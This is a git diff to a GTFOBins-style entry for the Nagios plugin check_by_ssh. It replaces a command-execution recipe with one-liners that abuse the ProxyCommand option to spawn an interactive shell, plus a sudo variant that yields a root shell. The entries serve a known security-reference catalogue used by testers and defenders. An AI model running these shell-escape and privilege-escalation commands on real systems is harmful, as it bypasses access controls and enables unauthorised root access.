diff --git a/_gtfobins/check_by_ssh.md b/_gtfobins/check_by_ssh.md
index e00730e..5660689 100644
--- a/_gtfobins/check_by_ssh.md
+++ b/_gtfobins/check_by_ssh.md
@@ -2,20 +2,10 @@
 description: |
   This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
 functions:
-  command:
-    - code: |
-        COMMAND=id
-        OUTPUT=output_file
-        TF=$(mktemp)
-        echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF
-        check_by_ssh -F $TF -H localhost -C something
-        cat $OUTPUT
+  shell:
+    - description: The shell will only last 10 seconds.
+      code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
   sudo:
-    - code: |
-        COMMAND=id
-        OUTPUT=output_file
-        TF=$(mktemp)
-        echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF
-        sudo check_by_ssh -F $TF -H localhost -C something
-        cat $OUTPUT
+    - description: The shell will only last 10 seconds.
+      code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
 ---